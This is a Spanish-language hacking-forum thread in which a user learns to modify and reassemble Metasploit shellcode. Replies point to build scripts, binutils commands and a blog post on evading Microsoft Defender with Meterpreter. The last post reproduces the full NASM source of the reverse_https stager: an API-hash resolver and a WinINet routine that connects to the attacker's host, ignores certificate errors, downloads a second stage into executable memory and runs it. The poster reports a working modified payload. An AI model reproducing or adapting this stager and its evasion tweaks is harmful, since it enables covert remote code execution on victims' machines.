elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [MSF] Modificar un shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [MSF] Modificar un shellcode  (Leído 6,271 veces)
4v1dy4

Desconectado Desconectado

Mensajes: 137



Ver Perfil
[MSF] Modificar un shellcode
« en: 11 Enero 2023, 16:55 pm »

Hola,

Hice un tema recientemente preguntando sobre la suite de Metasploit y un compañero del foro me recomendo modificar el payload y me comentaba que se encuentran ejemplos en Internet de shellcodes modificadas que funcionan.

Bueno, no encontre ninguno que modificara una shellcode binaria... Solo encontre scripts de PowerShell o Python, pero nadie modifico la shellcode binaria que da msfvenom en cadena literal ("\x...").

La abri en el depurador y quiero modificarla pero no se como.

Ya intente desesamblarla con NDISASM para volver a ensamblarla despues de modificarla pero obviamente NDISASM no resulta en codigo "Ensamblable" de nuevo.

No se si Metasploit mismo ofrezca alguna forma de modificar el ensamblador.

¿Alguna idea?

Gracias de antepasado xd
« Última modificación: 11 Enero 2023, 17:17 pm por 4v1dy4 » En línea

BloodSharp


Desconectado Desconectado

Mensajes: 802


El Messi-Vegeta :D


Ver Perfil
Re: Modificar un shellcode
« Respuesta #1 en: 11 Enero 2023, 17:20 pm »

Ya intente desesamblarla con NDISASM para volver a ensamblarla despues de modificarla pero obviamente NDISASM no resulta en codigo "Ensamblable" de nuevo.
¿Probaste objdump y GNU Assembler? Si mal no recuerdo ambos son parte de GNU Binutils...

No se si Metasploit mismo ofrezca alguna forma de modificar el ensamblador.
Metasploit te ofrece el código fuente de sus payloads, algunos están bien documentados con comentarios (como los de Linux) y otros no. :silbar:


B#
En línea



4v1dy4

Desconectado Desconectado

Mensajes: 137



Ver Perfil
Re: Modificar un shellcode
« Respuesta #2 en: 11 Enero 2023, 17:32 pm »

¿Probaste objdump y GNU Assembler? Si mal no recuerdo ambos son parte de GNU Binutils...
Metasploit te ofrece el código fuente de sus payloads, algunos están bien documentados con comentarios (como los de Linux) y otros no. :silbar:


B#

Si, intente con objdump y hace unos años recuerdo haberlo utilizado para hacer un bootkit para NTFS, pero aparentemente tengo tremenda memoria a corto plazo porque los comandos de los que me acuerdo para desensamblar un binario en codigo ensamblable otra vez -"Ensamblable otra vez"... Deberia haber un nombre mas bonito para eso- lo unico que me resultan es en errores del objdump, y no encuentro en Internet forma de hacerlo. De hecho recuerdo que en ese tiempo lo descubri a fuerza bruta con el porque en Internet tampoco habia encontrado nada. Eso o no se buscar.

Y respecto al codigo fuente... Si, realmente me da igual si el codigo esta comentado, desde el depurador se como modificarlo, el problema es que no quiero andar parcheando a cada rato. Hago eso siempre y es de lo mas tedioso del trabajo, estaba buscando alternativas.

Ahora, actualizando la situacion...

Encontre este directorio:

external/source/shellcode/windows/x86

En la carpeta del MSF.

Me imagino que es obvia la respuesta, pero por si acaso me ahorro un poco de tiempo preguntando... ¿Entonces aqui es en donde esta el source? xdddddd
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.465


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Modificar un shellcode
« Respuesta #3 en: 11 Enero 2023, 17:50 pm »

Encontre este directorio:

external/source/shellcode/windows/x86

En la carpeta del MSF.

Me imagino que es obvia la respuesta, pero por si acaso me ahorro un poco de tiempo preguntando... ¿Entonces aqui es en donde esta el source? xdddddd

La carpeta anterior (windows) dice textualmente:
Citar
This directory contains the win32 payload development environment used
for creating the payloads in version 3 of the Metasploit Framework.

The 'nasm' executable must be in your path to use the included build.sh tool.

The included 'build' script automatically creates a number of file types
each time it used to compile a payload. These file types are:

    - Native ELF executable
    - Win32 PE executable
    - Generated C source code
    - Raw opcodes in ".bin" format

The PE executable templates were developed by 'rix' and used with permission.

To use this script, simply run ./build.sh <name of payload>, where the name
does not include the ".asm" suffix. To build win32_stage_api.asm, the
command line would be "./build.sh win32_stage_api".

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

4v1dy4

Desconectado Desconectado

Mensajes: 137



Ver Perfil
Re: [MSF] Modificar un shellcode
« Respuesta #4 en: 11 Enero 2023, 18:14 pm »

Si ejecuto el script build.sh:

./build.sh ./x86/src/stager/stager_reverse_https

resulta:


Usage: ./build.sh <name>

¿Que estoy haciendo mal? : /

(Busco ensamblar correctamente el shellcode modificado)

PD: Ejecute build.py que se encuentra en x86:

python3 build.py all

con stager_reverse_https modificado, y cuando ejecuto msfvenom resulta el payload original, no el modificado

EDIT

¿Tengo que modificar modules/payloads/stagers/windows/reverse_http.rb manualmente?

EDIT 2

Intente modificar manualmente modules/payloads/stagers/windows/reverse_http.rb pero la estructura del archivo no incluye ni el valor stager ni el valor payload. Se supone que deberia reemplazar el valor payload pero ni siquiera existe
« Última modificación: 11 Enero 2023, 18:35 pm por 4v1dy4 » En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.465


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: [MSF] Modificar un shellcode
« Respuesta #5 en: 13 Enero 2023, 18:19 pm »

Hola!

Hoy he visto este blogpost y recordé este tema: https://steve-s.gitbook.io/0xtriboulet/deceiving-defender/deceiving-defender-meterpreter

Puede serte útil.

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

4v1dy4

Desconectado Desconectado

Mensajes: 137



Ver Perfil
Re: [MSF] Modificar un shellcode
« Respuesta #6 en: 14 Enero 2023, 16:59 pm »

Si... Al final no quedo alternativa que modificaciones manuales. Me hubiera gustado poder ensamblar yo mismo la shellcode pero no hallo la manera.

Gracias por el blog, ese no lo habia visto
En línea

BloodSharp


Desconectado Desconectado

Mensajes: 802


El Messi-Vegeta :D


Ver Perfil
Re: [MSF] Modificar un shellcode
« Respuesta #7 en: 14 Enero 2023, 19:50 pm »

Si... Al final no quedo alternativa que modificaciones manuales. Me hubiera gustado poder ensamblar yo mismo la shellcode pero no hallo la manera.

Al menos a mi me funciono lo siguiente:

shellcode.asm:
Código
  1. .section .text
  2. .globl _start;
  3. _start:
  4. xor %eax, %eax
  5. mov $1337,%eax
  6. ret

Compilar a elf (opcional el --32 para 32 bits)
Código
  1. as --32 shellcode.asm -o shellcode.elf

Mirar el contenido del assembler:
Código
  1. objdump -d shellcode.elf

Exportar el contenido a secuencia de bytes:
Código
  1. objcopy -v -O binary shellcode.elf shellcode.bin

Comparar el contenido de los bytes con los bytes ensamblados:
Código
  1. xxd shellcode.bin


B#
En línea



4v1dy4

Desconectado Desconectado

Mensajes: 137



Ver Perfil
Re: [MSF] Modificar un shellcode
« Respuesta #8 en: 15 Enero 2023, 00:28 am »

BloodSharp, gracias por responder.

ANTES DE CONTINUAR, LEER LO QUE PUSE DE ULTIMO (BAJAR)

El problema que hallo con ese metodo, es que no se como aplicarlo a la shellcode de Metasploit, porque no se en donde la suite mete a lo que le llama LHOST y LPORT. No veo ningun espacio.

Esta es la shellcode de reverse_https (stager, de arquitectura x86):

Código
  1. ;-----------------------------------------------------------------------------;
  2. ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
  3. ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
  4. ; Version: 1.0 (24 July 2009)
  5. ; Size: 274 bytes
  6. ; Build: >build.py stager_reverse_tcp_nx
  7. ;-----------------------------------------------------------------------------;
  8.  
  9. [BITS 32]
  10. [ORG 0]
  11.  
  12.  cld                    ; Clear the direction flag.
  13.  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  14. %include "./src/block/block_api.asm"
  15. start:                   ;
  16.  pop ebp                ; pop off the address of 'api_call' for calling later.
  17. %define ENABLE_SSL 1
  18. %include "./src/block/block_reverse_http.asm"
  19.  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.
  20.  

./src/block/block_api.asm:

Código
  1. ;-----------------------------------------------------------------------------;
  2. ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
  3. ; Compatible: NT4 and newer
  4. ; Architecture: x86
  5. ; Size: 140 bytes
  6. ;-----------------------------------------------------------------------------;
  7.  
  8. [BITS 32]
  9.  
  10. ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
  11. ; Output: The return value from the API call will be in EAX.
  12. ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
  13. ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
  14. ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
  15. ; Note: This function is unable to call forwarded exports.
  16.  
  17. api_call:
  18.  pushad                     ; We preserve all the registers for the caller, bar EAX and ECX.
  19.  mov ebp, esp               ; Create a new stack frame
  20.  xor edx, edx               ; Zero EDX
  21.  mov edx, [fs:edx+0x30]     ; Get a pointer to the PEB
  22.  mov edx, [edx+0xc]         ; Get PEB->Ldr
  23.  mov edx, [edx+0x14]        ; Get the first module from the InMemoryOrder module list
  24. next_mod:                    ;
  25.  mov esi, [edx+0x28]        ; Get pointer to modules name (unicode string)
  26.  movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
  27.  xor edi, edi               ; Clear EDI which will store the hash of the module name
  28. loop_modname:                ;
  29.  xor eax, eax               ; Clear EAX
  30.  lodsb                      ; Read in the next byte of the name
  31.  cmp al, 'a'                ; Some versions of Windows use lower case module names
  32.  jl not_lowercase           ;
  33.  sub al, 0x20               ; If so normalise to uppercase
  34. not_lowercase:               ;
  35.  ror edi, 0xd               ; Rotate right our hash value
  36.  add edi, eax               ; Add the next byte of the name
  37.  dec ecx
  38.  jnz loop_modname           ; Loop until we have read enough
  39.  ; We now have the module hash computed
  40.  push edx                   ; Save the current position in the module list for later
  41.  push edi                   ; Save the current module hash for later
  42.  ; Proceed to iterate the export address table,
  43.  mov edx, [edx+0x10]        ; Get this modules base address
  44.  mov eax, [edx+0x3c]        ; Get PE header
  45.  add eax, edx               ; Add the modules base address
  46.  mov eax, [eax+0x78]        ; Get export tables RVA
  47.  test eax, eax              ; Test if no export address table is present
  48.  jz get_next_mod1           ; If no EAT present, process the next module
  49.  add eax, edx               ; Add the modules base address
  50.  push eax                   ; Save the current modules EAT
  51.  mov ecx, [eax+0x18]        ; Get the number of function names
  52.  mov ebx, [eax+0x20]        ; Get the rva of the function names
  53.  add ebx, edx               ; Add the modules base address
  54.  ; Computing the module hash + function hash
  55. get_next_func:               ;
  56.  test ecx, ecx              ; Changed from jecxz to accomodate the larger offset produced by random jmps below
  57.  jz get_next_mod            ; When we reach the start of the EAT (we search backwards), process the next module
  58.  dec ecx                    ; Decrement the function name counter
  59.  mov esi, [ebx+ecx*4]       ; Get rva of next module name
  60.  add esi, edx               ; Add the modules base address
  61.  xor edi, edi               ; Clear EDI which will store the hash of the function name
  62.  ; And compare it to the one we want
  63. loop_funcname:               ;
  64.  xor eax, eax               ; Clear EAX
  65.  lodsb                      ; Read in the next byte of the ASCII function name
  66.  ror edi, 0xd               ; Rotate right our hash value
  67.  add edi, eax               ; Add the next byte of the name
  68.  cmp al, ah                 ; Compare AL (the next byte from the name) to AH (null)
  69.  jne loop_funcname          ; If we have not reached the null terminator, continue
  70.  add edi, [ebp-8]           ; Add the current module hash to the function hash
  71.  cmp edi, [ebp+0x24]        ; Compare the hash to the one we are searchnig for
  72.  jnz get_next_func          ; Go compute the next function hash if we have not found it
  73.  ; If found, fix up stack, call the function and then value else compute the next one...
  74.  pop eax                    ; Restore the current modules EAT
  75.  mov ebx, [eax+0x24]        ; Get the ordinal table rva
  76.  add ebx, edx               ; Add the modules base address
  77.  mov cx, [ebx+2*ecx]        ; Get the desired functions ordinal
  78.  mov ebx, [eax+0x1c]        ; Get the function addresses table rva
  79.  add ebx, edx               ; Add the modules base address
  80.  mov eax, [ebx+4*ecx]       ; Get the desired functions RVA
  81.  add eax, edx               ; Add the modules base address to get the functions actual VA
  82.  ; We now fix up the stack and perform the call to the desired function...
  83. finish:
  84.  mov [esp+0x24], eax        ; Overwrite the old EAX value with the desired api address for the upcoming popad
  85.  pop ebx                    ; Clear off the current modules hash
  86.  pop ebx                    ; Clear off the current position in the module list
  87.  popad                      ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
  88.  pop ecx                    ; Pop off the origional return address our caller will have pushed
  89.  pop edx                    ; Pop off the hash value our caller will have pushed
  90.  push ecx                   ; Push back the correct return value
  91.  jmp eax                    ; Jump into the required function
  92.  ; We now automagically return to the correct caller...
  93. get_next_mod:                ;
  94.  pop eax                    ; Pop off the current (now the previous) modules EAT
  95. get_next_mod1:               ;
  96.  pop edi                    ; Pop off the current (now the previous) modules hash
  97.  pop edx                    ; Restore our position in the module list
  98.  mov edx, [edx]             ; Get the next module
  99.  jmp next_mod               ; Process this module

./src/block/block_reverse_http.asm:

Código
  1. ;-----------------------------------------------------------------------------;
  2. ; Author: HD Moore
  3. ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
  4. ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
  5. ; Version: 1.0
  6. ;-----------------------------------------------------------------------------;
  7. [BITS 32]
  8.  
  9. %ifdef ENABLE_SSL
  10. %define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
  11.  ;0x80000000 | ; INTERNET_FLAG_RELOAD
  12.  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
  13.  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
  14.  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
  15.  ;0x00000200 | ; INTERNET_FLAG_NO_UI
  16.  ;0x00800000 | ; INTERNET_FLAG_SECURE
  17.  ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
  18.  ;0x00001000   ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
  19. %else
  20. %define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
  21.  ;0x80000000 | ; INTERNET_FLAG_RELOAD
  22.  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
  23.  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
  24.  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
  25.  ;0x00000200   ; INTERNET_FLAG_NO_UI
  26. %endif
  27.  
  28. ; Input: EBP must be the address of 'api_call'.
  29. ; Output: EDI will be the socket for the connection to the server
  30. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
  31. load_wininet:
  32.  push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
  33.  push 0x696e6977        ; ...
  34.  push esp               ; Push a pointer to the "wininet" string on the stack.
  35.  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
  36.  call ebp               ; LoadLibraryA( "wininet" )
  37.  
  38. set_retry:
  39.  push byte 8           ; retry 8 times should be enough
  40.  pop edi
  41.  xor ebx, ebx           ; push 8 zeros ([1]-[8])
  42.  mov ecx, edi
  43. push_zeros:
  44.  push ebx
  45.  loop push_zeros
  46.  
  47. internetopen:
  48.                         ; DWORD dwFlags [1]
  49.                         ; LPCTSTR lpszProxyBypass (NULL) [2]
  50.                         ; LPCTSTR lpszProxyName (NULL) [3]
  51.                         ; DWORD dwAccessType (PRECONFIG = 0) [4]
  52.                         ; LPCTSTR lpszAgent (NULL) [5]
  53.  push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
  54.  call ebp
  55.  
  56. internetconnect:
  57.                         ; DWORD_PTR dwContext (NULL) [6]
  58.                         ; dwFlags [7]
  59.  push byte 3            ; DWORD dwService (INTERNET_SERVICE_HTTP)
  60.  push ebx               ; password (NULL)
  61.  push ebx               ; username (NULL)
  62.  push dword 4444        ; PORT
  63.  call got_server_uri    ; double call to get pointer for both server_uri and
  64. server_uri:              ;  server_host; server_uri is saved in EDI for later
  65.  db "/12345", 0x00
  66. got_server_host:
  67.  push eax               ; HINTERNET hInternet
  68.  push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
  69.  call ebp
  70.  
  71. httpopenrequest:
  72.                         ; dwContext (NULL) [8]
  73.  push HTTP_OPEN_FLAGS   ; dwFlags
  74.  push ebx               ; accept types
  75.  push ebx               ; referrer
  76.  push ebx               ; version
  77.  push edi               ; server URI
  78.  push ebx               ; method
  79.  push eax               ; hConnection
  80.  push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
  81.  call ebp
  82.  xchg esi, eax          ; save hHttpRequest in esi
  83.  
  84. send_request:
  85.  
  86. %ifdef ENABLE_SSL
  87. ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
  88. set_security_options:
  89.  push 0x00003380
  90.    ;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
  91.    ;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
  92.    ;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE
  93.    ;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
  94.    ;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION
  95.  mov eax, esp
  96.  push byte 4            ; sizeof(dwFlags)
  97.  push eax               ; &dwFlags
  98.  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
  99.  push esi               ; hHttpRequest
  100.  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
  101.  call ebp
  102.  
  103. %endif
  104.  
  105. httpsendrequest:
  106.  push ebx               ; lpOptional length (0)
  107.  push ebx               ; lpOptional (NULL)
  108.  push ebx               ; dwHeadersLength (0)
  109.  push ebx               ; lpszHeaders (NULL)
  110.  push esi               ; hHttpRequest
  111.  push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
  112.  call ebp
  113.  test eax,eax
  114.  jnz short allocate_memory
  115.  
  116. try_it_again:
  117.  dec edi
  118.  jnz send_request
  119.  
  120. ; if we didn't allocate before running out of retries, fall through to
  121. ; failure
  122.  
  123. failure:
  124.  push 0x56A2B5F0        ; hardcoded to exitprocess for size
  125.  call ebp
  126.  
  127. allocate_memory:
  128.  push byte 0x40         ; PAGE_EXECUTE_READWRITE
  129.  push 0x1000            ; MEM_COMMIT
  130.  push 0x00400000        ; Stage allocation (8Mb ought to do us)
  131.  push ebx               ; NULL as we dont care where the allocation is
  132.  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
  133.  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  134.  
  135. download_prep:
  136.  xchg eax, ebx          ; place the allocated base address in ebx
  137.  push ebx               ; store a copy of the stage base address on the stack
  138.  push ebx               ; temporary storage for bytes read count
  139.  mov edi, esp           ; &bytesRead
  140.  
  141. download_more:
  142.  push edi               ; &bytesRead
  143.  push 8192              ; read length
  144.  push ebx               ; buffer
  145.  push esi               ; hRequest
  146.  push 0xE2899612        ; hash( "wininet.dll", "InternetReadFile" )
  147.  call ebp
  148.  
  149.  test eax,eax           ; download failed? (optional?)
  150.  jz failure
  151.  
  152.  mov eax, [edi]
  153.  add ebx, eax           ; buffer += bytes_received
  154.  
  155.  test eax,eax           ; optional?
  156.  jnz download_more      ; continue until it returns 0
  157.  pop eax                ; clear the temporary storage
  158.  
  159. execute_stage:
  160.  ret                    ; dive into the stored stage address
  161.  
  162. got_server_uri:
  163.  pop edi
  164.  call got_server_host
  165.  
  166. server_host:
  167.  

Intentando """"adivinar""""":

LHOST me parece que lo define en la linea:

Código
  1. db "/12345", 0x00

LPORT me parece que lo define en la linea:

Código
  1. push dword 4444

Supongo, estoy casi seguro, de que es asi.

La pregunta es:  ¿Es asi? xdddddd

Y si es asi, ¿Como lo ensamblo a binario (o elf para poder extraer el binario, aunque tomando en cuenta que block_api.asm toma acceso al TEB, no se si sea adecuado ensamblar a elf ya que el TEB es una estructura especifica de WinNT). No se que pienses de eso, BloodSharp.



No me fije en que ahi decia URI.

Ya logre modificarlo y ensamblarlo con exito. Funciona bien. Gracias por su ayuda.

Para el que quiera saber:

Los shellcodes en codigo fuente no forman parte integral de MSF.

Lo unico que se puede hacer es entender que hace el codigo y modificarlo a partir de eso, como decia MCKSys Argentina.

Los codigos fuente estan en formato NASM.

Un saludo.
« Última modificación: 16 Enero 2023, 00:02 am por 4v1dy4 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:. « 1 2 »
ASM
Garfield07 13 9,727 Último mensaje 3 Enero 2011, 20:31 pm
por Garfield07
Ayuda con shellcode
Bugs y Exploits
BrownRabbit 1 2,158 Último mensaje 1 Abril 2011, 21:20 pm
por hackspy
Shellcode direcciones
ASM
xv0 8 4,952 Último mensaje 5 Enero 2013, 20:04 pm
por xv0
Duda con Shellcode
Hacking
10537 8 7,422 Último mensaje 15 Marzo 2013, 05:03 am
por xv0
Shellcode to HEX (BOF)
ASM
GGZ 5 5,090 Último mensaje 28 Enero 2017, 20:49 pm
por xv0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines